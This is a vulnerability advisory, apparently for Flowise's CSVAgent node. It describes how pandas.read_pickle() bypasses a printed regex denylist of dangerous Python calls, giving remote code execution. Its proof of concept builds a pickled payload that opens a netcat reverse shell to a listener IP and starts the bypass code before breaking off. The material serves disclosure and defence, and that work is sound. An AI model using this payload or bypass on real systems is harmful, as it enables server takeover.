Flowise: Remote Code Execution Vulnerability in CSVAgent
Summary
The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a read_pickle() [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution.
Details
The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.
```js
try {
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc} <1>
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
throw new Error(error)
}
```
At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:
```py
const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
// Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
{ pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
{ pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
// Dangerous builtins
{ pattern: /\beval\s*\(/g, reason: 'eval()' },
{ pattern: /\bexec\s*\(/g, reason: 'exec()' },
{ pattern: /\bcompile\s*\(/g, reason: 'compile()' },
{ pattern: /\b__import__\s*\(/g, reason: '__import__()' },
{ pattern: /\bopen\s*\(/g, reason: 'open()' },
{ pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
{ pattern: /\binput\s*\(/g, reason: 'input()' },
{ pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
{ pattern: /\bglobals\s*\(/g, reason: 'globals()' },
{ pattern: /\blocals\s*\(/g, reason: 'locals()' },
{ pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
{ pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
{ pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
{ pattern: /\breload\s*\(/g, reason: 'reload()' },
{ pattern: /\bfile\s*\(/g, reason: 'file()' },
{ pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
// Dangerous modules / attributes
{ pattern: /\bos\./g, reason: 'os module' },
{ pattern: /\bsubprocess\./g, reason: 'subprocess module' },
{ pattern: /\bsys\./g, reason: 'sys module' },
{ pattern: /\bsocket\./g, reason: 'socket module' },
{ pattern: /\burllib\./g, reason: 'urllib module' },
{ pattern: /\brequests\./g, reason: 'requests module' },
{ pattern: /\b__builtins__\b/g, reason: '__builtins__' },
{ pattern: /\b__loader__\b/g, reason: '__loader__' },
{ pattern: /\b__spec__\b/g, reason: '__spec__' },
{ pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
{ pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
{ pattern: /\b__bases__\b/g, reason: '__bases__' },
{ pattern: /\b__mro__\b/g, reason: '__mro__' },
{ pattern: /\b__globals__\b/g, reason: '__globals__' },
{ pattern: /\b__code__\b/g, reason: '__code__' },
{ pattern: /\b__closure__\b/g, reason: '__closure__' },
{ pattern: /\bvars\s*\(/g, reason: 'vars()' },
{ pattern: /\bdir\s*\(/g, reason: 'dir()' },
{ pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
{ pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]
```
However, by using pandas.read_pickle(), an attacker can achieve code execution without hitting any of the denied words.
PoC
First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):
```py
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))
payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)
```
Run it and note the encoded payload to be used later:
```bash
$ python3 pickle-payload-poc.py
gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=
```
1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.
2. Drag a "CSV Agent" node onto the canvas.
3. Click on "Additional Parameters" and fill in the following PoC:
```py
isnull("")
class MiniBytesIO:
def __init__(self, b):
self.data = b
self.pos = 0
def read(self, n=-1):
if n == -1:
n = len(self.data) - self.pos
chunk = self.data
